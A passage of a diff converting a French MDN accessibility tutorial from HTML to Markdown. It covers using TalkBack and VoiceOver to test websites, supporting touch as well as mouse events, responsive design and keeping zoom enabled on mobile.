+Le lecteur d’écran TalkBack est intégré au système d’exploitation Android. -<p>Certaines exceptions nécessitent une attention particulière pour le mobile; les principaux sont:</p> +Pour l'activer, sélectionnez Paramètres> Accessibilité> TalkBack, puis appuyez sur le curseur pour l'activer. Suivez toute invite supplémentaire à l'écran qui vous est présentée. -<ul> - <li>Mécanismes de contrôle - Assurez-vous que les commandes d'interface, telles que les boutons, sont accessibles sur les téléphones mobiles (c'est-à-dire principalement les écrans tactiles), ainsi que sur les ordinateurs de bureau / portables (principalement les souris et les claviers).</li> - <li>Saisie utilisateur - Rendez les exigences de saisie utilisateur aussi simples que possible sur mobile (par exemple, dans les formulaires, réduisez au minimum la saisie).</li> - <li>Conception réactive - Assurez-vous que les mises en page fonctionnent sur le mobile, conservez la taille des téléchargements d'images et réfléchissez à la fourniture d'images pour les écrans haute résolution.</li> -</ul> +**Note:** Les anciennes versions de TalkBack sont activées dans [slightly different ways](https://play.google.com/store/apps/details?id=com.google.android.marvin.talkback). -<h2 id="Résumé_des_tests_de_lecteur_d'écran_sur_Android_et_iOS">Résumé des tests de lecteur d'écran sur Android et iOS</h2> +Lorsque TalkBack est activé, les commandes de base de votre appareil Android seront un peu différentes. Par exemple: -<p>Les plates-formes mobiles les plus courantes disposent de lecteurs d’écran entièrement fonctionnels. Celles-ci fonctionnent à peu près de la même manière que les lecteurs d’écran de bureau, sauf qu’elles sont largement utilisées avec des gestes tactiles plutôt que des combinaisons de touches.</p> +1. Une simple pression sur une application la sélectionne et l'appareil lit en quoi elle consiste. +2. Glisser vers la gauche ou la droite permet de se déplacer entre les applications, ou les boutons / contrôles si vous êtes dans une barre de contrôle. L'appareil lira chaque option. +3. Double-cliquer n'importe où ouvrira l'application / sélectionner l'option. +4. Vous pouvez également "explorer par le toucher" - maintenez votre doigt appuyé sur l'écran et faites-le glisser, et votre appareil lira les différentes applications / éléments que vous déplacez. -<p>Regardons les deux principaux: TalkBack sur Android et VoiceOver sur iOS.</p> +Si vous souhaitez désactiver TalkBack: -<h3 id="Android_TalkBack">Android TalkBack</h3> +1. Accédez à votre application Paramètres en utilisant les gestes ci-dessus. +2. Accédez à Accessibilité> TalkBack . +3. Accédez au commutateur et activez-le pour le désactiver. . -<p>Le lecteur d’écran TalkBack est intégré au système d’exploitation Android.</p> +**Note:** Vous pouvez accéder à votre écran d'accueil à tout moment en glissant vers le haut et à gauche dans un mouvement fluide. Si vous avez plus d'un écran d'accueil, vous pouvez passer d'un écran à l'autre en faisant glisser deux doigts vers la gauche et vers la droite. . -<p>Pour l'activer, sélectionnez Paramètres> Accessibilité> TalkBack, puis appuyez sur le curseur pour l'activer. Suivez toute invite supplémentaire à l'écran qui vous est présentée.</p> +Pour une liste plus complète des gestes TalkBack, voir [Use TalkBack gestures](https://support.google.com/accessibility/android/answer/6151827). -<p><strong>Note:</strong> Les anciennes versions de TalkBack sont activées dans <a href="https://play.google.com/store/apps/details?id=com.google.android.marvin.talkback">slightly different ways</a>.</p> +#### Déverrouiller le téléphone -<p>Lorsque TalkBack est activé, les commandes de base de votre appareil Android seront un peu différentes. Par exemple:</p> +Lorsque TalkBack est activé, le déverrouillage du téléphone est un peu différent. -<ol> - <li>Une simple pression sur une application la sélectionne et l'appareil lit en quoi elle consiste.</li> - <li>Glisser vers la gauche ou la droite permet de se déplacer entre les applications, ou les boutons / contrôles si vous êtes dans une barre de contrôle. L'appareil lira chaque option.</li> - <li>Double-cliquer n'importe où ouvrira l'application / sélectionner l'option.</li> - <li>Vous pouvez également "explorer par le toucher" - maintenez votre doigt appuyé sur l'écran et faites-le glisser, et votre appareil lira les différentes applications / éléments que vous déplacez.</li> -</ol> +Vous pouvez balayer deux doigts à partir du bas de l'écran de verrouillage. Si vous avez défini un code d'accès ou un modèle pour déverrouiller votre appareil, vous serez redirigé vers l'écran de saisie approprié pour le saisir. -<p>Si vous souhaitez désactiver TalkBack:</p> +Vous pouvez également explorer en touchant le bouton _Déverrouiller_ en bas au centre de l'écran, puis en appuyant deux fois. -<ol> - <li>Accédez à votre application Paramètres en utilisant les gestes ci-dessus.</li> - <li>Accédez à Accessibilité> TalkBack .</li> - <li>Accédez au commutateur et activez-le pour le désactiver. .</li> -</ol> +#### Menus globaux et locaux -<p><strong>Note:</strong> Vous pouvez accéder à votre écran d'accueil à tout moment en glissant vers le haut et à gauche dans un mouvement fluide. Si vous avez plus d'un écran d'accueil, vous pouvez passer d'un écran à l'autre en faisant glisser deux doigts vers la gauche et vers la droite. .</p> +TalkBack vous permet d'accéder aux menus contextuels globaux et locaux, où que vous ayez navigué sur l'appareil. Le premier fournit des options globales relatives à l'appareil dans son ensemble, et le second fournit des options relatives uniquement à l'application / à l'écran actuel. -<p>Pour une liste plus complète des gestes TalkBack, voir <a href="https://support.google.com/accessibility/android/answer/6151827">Use TalkBack gestures</a>.</p> +#### **Pour accéder à ces menus**: -<h4 id="Déverrouiller_le_téléphone">Déverrouiller le téléphone</h4> +1. Accédez au menu global en glissant rapidement vers le bas, puis à droite . +2. Accédez au menu local en balayant rapidement vers le haut, puis à droite. +3. Balayez vers la gauche et la droite pour naviguer entre les différentes options. . +4. Une fois que vous avez sélectionné l'option de votre choix, double-cliquez dessus pour la choisir. -<p>Lorsque TalkBack est activé, le déverrouillage du téléphone est un peu différent.</p> +Pour plus de détails sur toutes les options disponibles dans les menus contextuels global et local, voir [Use global and local context menus](https://support.google.com/accessibility/android/answer/6007066). -<p>Vous pouvez balayer deux doigts à partir du bas de l'écran de verrouillage. Si vous avez défini un code d'accès ou un modèle pour déverrouiller votre appareil, vous serez redirigé vers l'écran de saisie approprié pour le saisir.</p> +#### Parcourir des pages Web -<p>Vous pouvez également explorer en touchant le bouton <em>Déverrouiller</em> en bas au centre de l'écran, puis en appuyant deux fois.</p> +Vous pouvez utiliser le menu contextuel local dans un navigateur Web pour rechercher des options permettant de naviguer dans des pages Web en utilisant uniquement les en-têtes, les contrôles de formulaire ou les liens, ou de naviguer ligne par ligne, etc. -<h4 id="Menus_globaux_et_locaux">Menus globaux et locaux</h4> +Par exemple, avec TalkBack activé: -<p>TalkBack vous permet d'accéder aux menus contextuels globaux et locaux, où que vous ayez navigué sur l'appareil. Le premier fournit des options globales relatives à l'appareil dans son ensemble, et le second fournit des options relatives uniquement à l'application / à l'écran actuel.</p> +1. Ouvrez votre navigateur web. +2. Activer la barre d'URL. +3. Entrez une page Web comportant de nombreux en-têtes, telle que la page de couverture de bbc.co.uk. Pour entrer le texte de l'URL: -<h4 id="Pour_accéder_à_ces_menus"><strong>Pour accéder à ces menus</strong>:</h4> + - Sélectionnez la barre d’URL en glissant gauche / droite jusqu’à ce que vous y arriviez, puis en double tapant . + - Maintenez votre doigt appuyé sur le clavier virtuel jusqu'à obtenir le caractère souhaité, puis relâchez-le pour le saisir. Répétez pour chaque caractère. + - Une fois que vous avez terminé, trouvez la touche Entrée et appuyez dessus. -<ol> - <li>Accédez au menu global en glissant rapidement vers le bas, puis à droite .</li> - <li>Accédez au menu local en balayant rapidement vers le haut, puis à droite.</li> - <li>Balayez vers la gauche et la droite pour naviguer entre les différentes options. .</li> - <li>Une fois que vous avez sélectionné l'option de votre choix, double-cliquez dessus pour la choisir.</li> -</ol> +4. Balayez vers la gauche et la droite pour vous déplacer entre différents éléments de la page. . +5. Faites glisser votre doigt vers le haut et vers la droite avec un mouvement fluide pour accéder au menu de contenu local. +6. Balayez vers la droite jusqu'à ce que vous trouviez l'option "En-têtes et points de repère". +7. Appuyez deux fois pour le sélectionner. Vous pouvez maintenant glisser à gauche et à droite pour vous déplacer entre les rubriques et les points de repère ARIA. +8. Pour revenir au mode par défaut, entrez de nouveau dans le menu contextuel local en balayant l'écran vers le haut, le curseur à droite, sélectionnez "Par défaut", puis tapez deux fois pour l'activer. -<p>Pour plus de détails sur toutes les options disponibles dans les menus contextuels global et local, voir <a href="https://support.google.com/accessibility/android/answer/6007066">Use global and local context menus</a>.</p> +**Note:** Voir aussi [Get started on Android with TalkBack](https://support.google.com/accessibility/android/answer/6283677?hl=en&ref_topic=3529932) pour obtenir une documentation plus complète. -<h4 id="Parcourir_des_pages_Web">Parcourir des pages Web</h4> +### iOS VoiceOver -<p>Vous pouvez utiliser le menu contextuel local dans un navigateur Web pour rechercher des options permettant de naviguer dans des pages Web en utilisant uniquement les en-têtes, les contrôles de formulaire ou les liens, ou de naviguer ligne par ligne, etc.</p> +Une version mobile de VoiceOver est intégrée au système d'exploitation iOS. -<p>Par exemple, avec TalkBack activé:</p> +Pour l'activer, accédez à l'application _Paramètres_, puis sélectionnez _Général_ > _Accessibilité_ > _VoiceOver_. Appuyez sur le curseur _VoiceOver_ pour l'activer (vous verrez également un certain nombre d'autres options liées à _VoiceOver_ sur cette page). -<ol> - <li>Ouvrez votre navigateur web.</li> - <li>Activer la barre d'URL.</li> - <li>Entrez une page Web comportant de nombreux en-têtes, telle que la page de couverture de bbc.co.uk. Pour entrer le texte de l'URL: - <ul> - <li>Sélectionnez la barre d’URL en glissant gauche / droite jusqu’à ce que vous y arriviez, puis en double tapant .</li> - <li>Maintenez votre doigt appuyé sur le clavier virtuel jusqu'à obtenir le caractère souhaité, puis relâchez-le pour le saisir. Répétez pour chaque caractère.</li> - <li>Une fois que vous avez terminé, trouvez la touche Entrée et appuyez dessus.</li> - </ul> - </li> - <li>Balayez vers la gauche et la droite pour vous déplacer entre différents éléments de la page. .</li> - <li>Faites glisser votre doigt vers le haut et vers la droite avec un mouvement fluide pour accéder au menu de contenu local.</li> - <li>Balayez vers la droite jusqu'à ce que vous trouviez l'option "En-têtes et points de repère".</li> - <li>Appuyez deux fois pour le sélectionner. Vous pouvez maintenant glisser à gauche et à droite pour vous déplacer entre les rubriques et les points de repère ARIA.</li> - <li>Pour revenir au mode par défaut, entrez de nouveau dans le menu contextuel local en balayant l'écran vers le haut, le curseur à droite, sélectionnez "Par défaut", puis tapez deux fois pour l'activer.</li> -</ol> +Une fois que VoiceOver est activé, les gestes de contrôle de base de l'iOS seront un peu différents : -<p><strong>Note:</strong> Voir aussi <a href="https://support.google.com/accessibility/android/answer/6283677?hl=en&ref_topic=3529932">Get started on Android with TalkBack</a> pour obtenir une documentation plus complète.</p> +1. Un simple tapement entraînera la sélection de l'élément sur lequel vous appuyez; votre appareil parlera de l'élément sur lequel vous avez tapé. +2. Vous pouvez également parcourir les éléments à l’écran en balayant vers la gauche ou vers la droite pour les déplacer, ou en faisant glisser votre doigt sur l’écran pour naviguer entre les différents éléments (lorsque vous trouvez l’élément souhaité, vous pouvez le retirer pour le sélectionner). +3. Pour activer l'élément sélectionné (par exemple, ouvrir une application sélectionnée), appuyez deux fois n'importe où sur l'écran. +4. Faites glisser votre doigt avec trois doigts pour faire défiler une page. +5. Appuyez avec deux doigts pour effectuer une action liée au contexte - par exemple, prendre une photo alors que vous êtes dans l'application Appareil photo. -<h3 id="iOS_VoiceOver">iOS VoiceOver</h3> +Pour le désactiver à nouveau, revenez à _Paramètres_> _Général_> _Accessibilité_> _VoiceOver_ en utilisant les gestes ci-dessus, puis basculez le curseur _VoiceOver_ sur Désactivé. -<p>Une version mobile de VoiceOver est intégrée au système d'exploitation iOS.</p> +#### Déverrouiller le téléphone -<p>Pour l'activer, accédez à l'application <em>Paramètres</em>, puis sélectionnez <em>Général</em> > <em>Accessibilité</em> > <em>VoiceOver</em>. Appuyez sur le curseur <em>VoiceOver</em> pour l'activer (vous verrez également un certain nombre d'autres options liées à <em>VoiceOver</em> sur cette page).</p> +Pour déverrouiller le téléphone, vous devez appuyer sur le bouton d'accueil (ou balayer) comme d'habitude. Si vous avez défini un code d'authentification, vous pouvez sélectionner chaque numéro en balayant / glissant (comme expliqué ci-dessus), puis en appuyant deux fois pour entrer chaque numéro lorsque vous avez trouvé le bon. -<p>Une fois que VoiceOver est activé, les gestes de contrôle de base de l'iOS seront un peu différents :</p> +#### Utiliser le rotor -<ol> - <li>Un simple tapement entraînera la sélection de l'élément sur lequel vous appuyez; votre appareil parlera de l'élément sur lequel vous avez tapé.</li> - <li>Vous pouvez également parcourir les éléments à l’écran en balayant vers la gauche ou vers la droite pour les déplacer, ou en faisant glisser votre doigt sur l’écran pour naviguer entre les différents éléments (lorsque vous trouvez l’élément souhaité, vous pouvez le retirer pour le sélectionner).</li> - <li>Pour activer l'élément sélectionné (par exemple, ouvrir une application sélectionnée), appuyez deux fois n'importe où sur l'écran.</li> - <li>Faites glisser votre doigt avec trois doigts pour faire défiler une page.</li> - <li>Appuyez avec deux doigts pour effectuer une action liée au contexte - par exemple, prendre une photo alors que vous êtes dans l'application Appareil photo.</li> -</ol> +Lorsque VoiceOver est activé, vous disposez d'une fonction de navigation appelée Rotor, qui vous permet de choisir rapidement parmi un certain nombre d'options utiles courantes. Pour l'utiliser: -<p>Pour le désactiver à nouveau, revenez à <em>Paramètres</em>> <em>Général</em>> <em>Accessibilité</em>> <em>VoiceOver</em> en utilisant les gestes ci-dessus, puis basculez le curseur <em>VoiceOver</em> sur Désactivé.</p> +1. Tournez deux doigts sur l’écran comme si vous tourniez un cadran. Chaque option sera lue à voix haute au fur et à mesure que vous tournez. Vous pouvez aller et venir pour parcourir les options. +2. Une fois que vous avez trouvé l'option que vous voulez: -<h4 id="Déverrouiller_le_téléphone_2">Déverrouiller le téléphone</h4> + - Relâchez vos doigts pour le sélectionner. + - S'il s'agit d'une option dont vous pouvez parcourir la valeur (telle que le volume ou la vitesse de parole), vous pouvez effectuer un balayage vers le haut ou le bas pour augmenter ou diminuer la valeur de l'élément sélectionné. -<p>Pour déverrouiller le téléphone, vous devez appuyer sur le bouton d'accueil (ou balayer) comme d'habitude. Si vous avez défini un code d'authentification, vous pouvez sélectionner chaque numéro en balayant / glissant (comme expliqué ci-dessus), puis en appuyant deux fois pour entrer chaque numéro lorsque vous avez trouvé le bon.</p> +Les options disponibles sous Rotor dépendent du contexte. Elles diffèrent en fonction de l'application ou de la vue dans laquelle vous vous trouvez (voir l'exemple ci-dessous). -<h4 id="Utiliser_le_rotor">Utiliser le rotor</h4> +#### Parcourir des pages Web -<p>Lorsque VoiceOver est activé, vous disposez d'une fonction de navigation appelée Rotor, qui vous permet de choisir rapidement parmi un certain nombre d'options utiles courantes. Pour l'utiliser:</p> +Essayons la navigation Web avec VoiceOver: -<ol> - <li>Tournez deux doigts sur l’écran comme si vous tourniez un cadran. Chaque option sera lue à voix haute au fur et à mesure que vous tournez. Vous pouvez aller et venir pour parcourir les options.</li> - <li>Une fois que vous avez trouvé l'option que vous voulez: - <ul> - <li>Relâchez vos doigts pour le sélectionner.</li> - <li>S'il s'agit d'une option dont vous pouvez parcourir la valeur (telle que le volume ou la vitesse de parole), vous pouvez effectuer un balayage vers le haut ou le bas pour augmenter ou diminuer la valeur de l'élément sélectionné.</li> - </ul> - </li> -</ol> +1. Ouvrez votre navigateur web. +2. Activer la barre d'URL. +3. Entrez une page Web comportant de nombreux en-têtes, telle que la page de couverture de bbc.co.uk. Pour entrer le texte de l'URL: -<p>Les options disponibles sous Rotor dépendent du contexte. Elles diffèrent en fonction de l'application ou de la vue dans laquelle vous vous trouvez (voir l'exemple ci-dessous).</p> + - Sélectionnez la barre d’URL en glissant gauche / droite jusqu’à ce que vous y arriviez, puis en double-tapant. + - Pour chaque caractère, maintenez votre doigt appuyé sur le clavier virtuel jusqu'à ce que vous obteniez le caractère souhaité, puis relâchez votre doigt pour le sélectionner. Appuyez deux fois pour le taper. + - Une fois que vous avez terminé, trouvez la touche Entrée et appuyez dessus. -<h4 id="Parcourir_des_pages_Web_2">Parcourir des pages Web</h4> +4. Balayez vers la gauche et la droite pour vous déplacer entre les éléments de la page. Vous pouvez appuyer deux fois sur un élément pour le sélectionner (par exemple, suivre un lien). +5. Par défaut, l’option de rotor sélectionnée sera Speaking Rate; vous pouvez actuellement balayer de haut en bas pour augmenter ou diminuer le débit. +6. Maintenant, tournez deux doigts autour de l'écran comme un cadran pour afficher le rotor et passez d'une option à l'autre. Voici quelques exemples d'options disponibles: -<p>Essayons la navigation Web avec VoiceOver:</p> + - _Taux de parole_ : Modifiez le taux de parole. + - _Conteneurs_ : déplacez-vous entre différents conteneurs sémantiques de la page. + - _En-têtes_ : déplacez-vous entre les en-têtes de la page. + - _Liens_ : permet de se déplacer entre les liens de la page. + - _Contrôles de formulaire_ : déplacez-vous entre les contrôles de formulaire de la page. + - _Langue_ : déplacez-vous entre différentes traductions, si elles sont disponibles. -<ol> - <li>Ouvrez votre navigateur web.</li> - <li>Activer la barre d'URL.</li> - <li>Entrez une page Web comportant de nombreux en-têtes, telle que la page de couverture de bbc.co.uk. Pour entrer le texte de l'URL: - <ul> - <li>Sélectionnez la barre d’URL en glissant gauche / droite jusqu’à ce que vous y arriviez, puis en double-tapant.</li> - <li>Pour chaque caractère, maintenez votre doigt appuyé sur le clavier virtuel jusqu'à ce que vous obteniez le caractère souhaité, puis relâchez votre doigt pour le sélectionner. Appuyez deux fois pour le taper.</li> - <li>Une fois que vous avez terminé, trouvez la touche Entrée et appuyez dessus.</li> - </ul> - </li> - <li>Balayez vers la gauche et la droite pour vous déplacer entre les éléments de la page. Vous pouvez appuyer deux fois sur un élément pour le sélectionner (par exemple, suivre un lien).</li> - <li>Par défaut, l’option de rotor sélectionnée sera Speaking Rate; vous pouvez actuellement balayer de haut en bas pour augmenter ou diminuer le débit.</li> - <li>Maintenant, tournez deux doigts autour de l'écran comme un cadran pour afficher le rotor et passez d'une option à l'autre. Voici quelques exemples d'options disponibles: - <ul> - <li><em>Taux de parole</em> : Modifiez le taux de parole.</li> - <li><em>Conteneurs </em>: déplacez-vous entre différents conteneurs sémantiques de la page.</li> - <li><em>En-têtes </em>: déplacez-vous entre les en-têtes de la page.</li> - <li><em>Liens</em> : permet de se déplacer entre les liens de la page.</li> - <li><em>Contrôles de formulaire </em>: déplacez-vous entre les contrôles de formulaire de la page.</li> - <li><em>Langue</em> : déplacez-vous entre différentes traductions, si elles sont disponibles.</li> - </ul> - </li> - <li>S<em>électionnez les en-têtes</em>. Vous pouvez maintenant glisser de haut en bas pour vous déplacer entre les titres de la page.</li> -</ol> +7. S*électionnez les en-têtes*. Vous pouvez maintenant glisser de haut en bas pour vous déplacer entre les titres de la page. -<p><strong>Note:</strong> Pour une référence plus complète couvrant les gestes VoiceOver disponibles et d'autres astuces sur le test d'accessibilité sur iOS, voir aussi <a href="https://developer.apple.com/library/content/technotes/TestingAccessibilityOfiOSApps/TestAccessibilityonYourDevicewithVoiceOver/TestAccessibilityonYourDevicewithVoiceOver.html#//apple_ref/doc/uid/TP40012619-CH3">Test Accessibility on Your Device with VoiceOver</a>.</p> +**Note:** Pour une référence plus complète couvrant les gestes VoiceOver disponibles et d'autres astuces sur le test d'accessibilité sur iOS, voir aussi [Test Accessibility on Your Device with VoiceOver](https://developer.apple.com/library/content/technotes/TestingAccessibilityOfiOSApps/TestAccessibilityonYourDevicewithVoiceOver/TestAccessibilityonYourDevicewithVoiceOver.html#//apple_ref/doc/uid/TP40012619-CH3). -<h2 id="Mécanismes_de_contrôle">Mécanismes de contrôle</h2> +## Mécanismes de contrôle -<p>Dans notre article relatif à l'accessibilité CSS et JavaScript, nous avons examiné l'idée d'événements spécifiques à un certain type de mécanisme de contrôle (see <a href="/fr/docs/Learn/Accessibility/CSS_and_JavaScript#mouse-specific_events">Mouse-specific events</a>). En résumé, cela pose des problèmes d'accessibilité car d'autres mécanismes de contrôle ne peuvent pas activer la fonctionnalité associée.</p> +Dans notre article relatif à l'accessibilité CSS et JavaScript, nous avons examiné l'idée d'événements spécifiques à un certain type de mécanisme de contrôle (see [Mouse-specific events](/fr/docs/Learn/Accessibility/CSS_and_JavaScript#mouse-specific_events)). En résumé, cela pose des problèmes d'accessibilité car d'autres mécanismes de contrôle ne peuvent pas activer la fonctionnalité associée. -<p>Par exemple, l'événement <a href="/fr/docs/Web/API/GlobalEventHandlers/onclick">click</a> est bon en termes d'accessibilité - un gestionnaire d'événements associé peut être appelé en cliquant sur l'élément sur lequel il est défini, en le sélectionnant et en appuyant sur Entrée / Retour ou en le tapant sur un périphérique à écran tactile. Essayez notre <a href="https://github.com/mdn/learning-area/blob/master/accessibility/mobile/simple-button-example.html">simple-button-example.html</a> exemple (<a href="http://mdn.github.io/learning-area/accessibility/mobile/simple-button-example.html">see it running live</a>) pour voir ce que nous entendons. .</p> +Par exemple, l'événement [click](/fr/docs/Web/API/GlobalEventHandlers/onclick) est bon en termes d'accessibilité - un gestionnaire d'événements associé peut être appelé en cliquant sur l'élément sur lequel il est défini, en le sélectionnant et en appuyant sur Entrée / Retour ou en le tapant sur un périphérique à écran tactile. Essayez notre [simple-button-example.html](https://github.com/mdn/learning-area/blob/master/accessibility/mobile/simple-button-example.html) exemple ([see it running live](http://mdn.github.io/learning-area/accessibility/mobile/simple-button-example.html)) pour voir ce que nous entendons. . -<p>Sinon, des événements spécifiques à la souris, tels que <a href="/fr/docs/Web/API/GlobalEventHandlers/onmousedown">mousedown</a> et <a href="/fr/docs/Web/API/GlobalEventHandlers/onmouseup">mouseup</a> créent des problèmes - leurs gestionnaires d'événements ne peuvent pas être appelés à l'aide de contrôles autres que la souris.</p> +Sinon, des événements spécifiques à la souris, tels que [mousedown](/fr/docs/Web/API/GlobalEventHandlers/onmousedown) et [mouseup](/fr/docs/Web/API/GlobalEventHandlers/onmouseup) créent des problèmes - leurs gestionnaires d'événements ne peuvent pas être appelés à l'aide de contrôles autres que la souris. -<p>Si vous essayez de contrôler notre exemple <a href="https://github.com/mdn/learning-area/blob/master/accessibility/mobile/simple-box-drag.html">simple-box-drag.html</a> (<a href="http://mdn.github.io/learning-area/accessibility/mobile/simple-box-drag.html">see example live</a>) avec un clavier ou une touche, vous verrez le problème. Cela se produit car nous utilisons un code tel que:</p> +Si vous essayez de contrôler notre exemple [simple-box-drag.html](https://github.com/mdn/learning-area/blob/master/accessibility/mobile/simple-box-drag.html) ([see example live](http://mdn.github.io/learning-area/accessibility/mobile/simple-box-drag.html)) avec un clavier ou une touche, vous verrez le problème. Cela se produit car nous utilisons un code tel que: -<pre class="brush: js">div.onmousedown = function() { +```js +div.onmousedown = function() { initialBoxX = div.offsetLeft; initialBoxY = div.offsetTop; movePanel(); } -document.onmouseup = stopMove;</pre> +document.onmouseup = stopMove; +``` -<p>Pour activer d'autres formes de contrôle, vous devez utiliser des événements différents mais équivalents. Par exemple, les événements tactiles fonctionnent sur les périphériques à écran tactile:</p> +Pour activer d'autres formes de contrôle, vous devez utiliser des événements différents mais équivalents. Par exemple, les événements tactiles fonctionnent sur les périphériques à écran tactile: -<pre class="brush: js">div.ontouchstart = function(e) { +```js +div.ontouchstart = function(e) { initialBoxX = div.offsetLeft; initialBoxY = div.offsetTop; positionHandler(e); movePanel(); } -panel.ontouchend = stopMove;</pre> +panel.ontouchend = stopMove; +``` -<p>Nous avons fourni un exemple simple qui montre comment utiliser simultanément les événements de la souris et des événements tactiles — voir <a href="https://github.com/mdn/learning-area/blob/master/accessibility/mobile/multi-control-box-drag.html">multi-control-box-drag.html</a> (<a href="http://mdn.github.io/learning-area/accessibility/mobile/multi-control-box-drag.html">see the example live</a> aussi).</p> +Nous avons fourni un exemple simple qui montre comment utiliser simultanément les événements de la souris et des événements tactiles — voir [multi-control-box-drag.html](https://github.com/mdn/learning-area/blob/master/accessibility/mobile/multi-control-box-drag.html) ([see the example live](http://mdn.github.io/learning-area/accessibility/mobile/multi-control-box-drag.html) aussi). -<p><strong>Note:</strong> Vous pouvez également voir des exemples fonctionnels montrant comment implémenter différents mécanismes de contrôle à <a href="/fr/docs/Games/Techniques/Control_mechanisms">Implementing game control mechanisms</a>.</p> +**Note:** Vous pouvez également voir des exemples fonctionnels montrant comment implémenter différents mécanismes de contrôle à [Implementing game control mechanisms](/fr/docs/Games/Techniques/Control_mechanisms). -<h2 id="Responsive_design">Responsive design</h2> +## Responsive design -<p><a href="/fr/docs/Web/Apps/Progressive/Responsive">Responsive design</a> a l’habitude de faire en sorte que vos mises en page et les autres fonctionnalités de vos applications changent de manière dynamique en fonction de facteurs tels que la taille de l’écran et la résolution, de sorte qu’elles soient utilisables et accessibles aux utilisateurs de différents types d’appareils. .</p> +[Responsive design](/fr/docs/Web/Apps/Progressive/Responsive) a l’habitude de faire en sorte que vos mises en page et les autres fonctionnalités de vos applications changent de manière dynamique en fonction de facteurs tels que la taille de l’écran et la résolution, de sorte qu’elles soient utilisables et accessibles aux utilisateurs de différents types d’appareils. . -<p>En particulier, les problèmes les plus courants auxquels le mobile doit faire face sont les suivants:</p> +En particulier, les problèmes les plus courants auxquels le mobile doit faire face sont les suivants: -<ul> - <li>Adéquation des mises en page pour les appareils mobiles. Une mise en page à plusieurs colonnes ne fonctionnera pas aussi bien sur un écran étroit, par exemple, et il faudra peut-être augmenter la taille du texte pour le rendre lisible. Ces problèmes peuvent être résolus en créant une mise en page réactive utilisant des technologies telles que <a href="/fr/docs/Web/CSS/Media_Queries">media queries</a>, <a href="/fr/docs/Mozilla/Mobile/Viewport_meta_tag">viewport</a>, et <a href="/fr/docs/Learn/CSS/CSS_layout/Flexbox">flexbox</a>.</li> - <li>Conserver les tailles d’image téléchargées. En général, les appareils de petite taille n’auront pas besoin d’images aussi volumineuses que leurs homologues de bureau, et ils risquent davantage d’être sur des connexions réseau lentes. Par conséquent, il est sage de servir des images plus petites sur des dispositifs à écran étroit, le cas échéant. Vous pouvez gérer cela en utilisant <a href="/fr/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">responsive image techniques</a>.</li> - <li>Penser aux hautes résolutions. De nombreux appareils mobiles ont des écrans haute résolution et ont donc besoin d'images de résolution supérieure pour que l'affichage puisse continuer à être net et net. Encore une fois, vous pouvez servir des images selon vos besoins en utilisant des techniques d’image réactives. De plus, de nombreuses exigences en matière d'images peuvent être satisfaites grâce au format d'images vectorielles SVG, bien pris en charge par les navigateurs actuels. SVG a une petite taille de fichier et restera net quelle que soit la taille affichée (voir <a href="/fr/docs/Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web">Adding vector graphics to the web</a> pour plus de détails ).</li> -</ul> +- Adéquation des mises en page pour les appareils mobiles. Une mise en page à plusieurs colonnes ne fonctionnera pas aussi bien sur un écran étroit, par exemple, et il faudra peut-être augmenter la taille du texte pour le rendre lisible. Ces problèmes peuvent être résolus en créant une mise en page réactive utilisant des technologies telles que [media queries](/fr/docs/Web/CSS/Media_Queries), [viewport](/fr/docs/Mozilla/Mobile/Viewport_meta_tag), et [flexbox](/fr/docs/Learn/CSS/CSS_layout/Flexbox). +- Conserver les tailles d’image téléchargées. En général, les appareils de petite taille n’auront pas besoin d’images aussi volumineuses que leurs homologues de bureau, et ils risquent davantage d’être sur des connexions réseau lentes. Par conséquent, il est sage de servir des images plus petites sur des dispositifs à écran étroit, le cas échéant. Vous pouvez gérer cela en utilisant [responsive image techniques](/fr/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images). +- Penser aux hautes résolutions. De nombreux appareils mobiles ont des écrans haute résolution et ont donc besoin d'images de résolution supérieure pour que l'affichage puisse continuer à être net et net. Encore une fois, vous pouvez servir des images selon vos besoins en utilisant des techniques d’image réactives. De plus, de nombreuses exigences en matière d'images peuvent être satisfaites grâce au format d'images vectorielles SVG, bien pris en charge par les navigateurs actuels. SVG a une petite taille de fichier et restera net quelle que soit la taille affichée (voir [Adding vector graphics to the web](/fr/docs/Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web) pour plus de détails ). -<p><strong>Note: </strong> Nous ne fournirons pas une analyse complète des techniques de conception réactive ici, car elles sont couvertes ailleurs au sein de MDN (voir les liens ci-dessus).</p> +**Note:** Nous ne fournirons pas une analyse complète des techniques de conception réactive ici, car elles sont couvertes ailleurs au sein de MDN (voir les liens ci-dessus). -<h3 id="Considérations_mobiles_spécifiques">Considérations mobiles spécifiques</h3> +### Considérations mobiles spécifiques -<p>Il existe d'autres problèmes importants à prendre en compte lors de la création de sites plus accessibles sur mobile. Nous en avons énuméré quelques-uns ici, mais nous en ajouterons davantage lorsque nous y penserons.</p> +Il existe d'autres problèmes importants à prendre en compte lors de la création de sites plus accessibles sur mobile. Nous en avons énuméré quelques-uns ici, mais nous en ajouterons davantage lorsque nous y penserons. -<h4 id="Ne_pas_désactiver_le_zoom">Ne pas désactiver le zoom</h4> +#### Ne pas désactiver le zoom -<p>En utilisant <a href="/fr/docs/Mozilla/Mobile/Viewport_meta_tag">viewport</a>, il est possible de désactiver le zoom, en utilisant un code comme celui-ci dans votre {{htmlelement("head")}}:</p> +En utilisant [viewport](/fr/docs/Mozilla/Mobile/Viewport_meta_tag), il est possible de désactiver le zoom, en utilisant un code comme celui-ci dans votre {{htmlelement("head")}}: -<pre class="brush: html"><meta name="viewport" content="user-scalable=no"></pre> +```html +<meta name="viewport" content="user-scalable=no"> +``` -<p>Vous ne devriez jamais faire cela autant que possible - beaucoup de gens comptent sur le zoom pour voir le contenu de votre site web, aussi, enlever cette fonctionnalité est une très mauvaise idée. Il y a certaines situations où le zoom peut casser l'interface utilisateur; Dans de tels cas, si vous estimez que vous devez absolument désactiver le zoom, vous devez fournir un autre type d’équivalent, tel qu’une commande permettant d’augmenter la taille du texte de manière à ne pas endommager votre interface utilisateur.</p> +Vous ne devriez jamais faire cela autant que possible - beaucoup de gens comptent sur le zoom pour voir le contenu de votre site web, aussi, enlever cette fonctionnalité est une très mauvaise idée. Il y a certaines situations où le zoom peut casser l'interface utilisateur; Dans de tels cas, si vous estimez que vous devez absolument désactiver le zoom, vous devez fournir un autre type d’équivalent, tel qu’une commande permettant d’augmenter la taille du texte de manière à ne pas endommager votre interface utilisateur. -<h4 id="Garder_les_menus_accessibles">Garder les menus accessibles</h4> 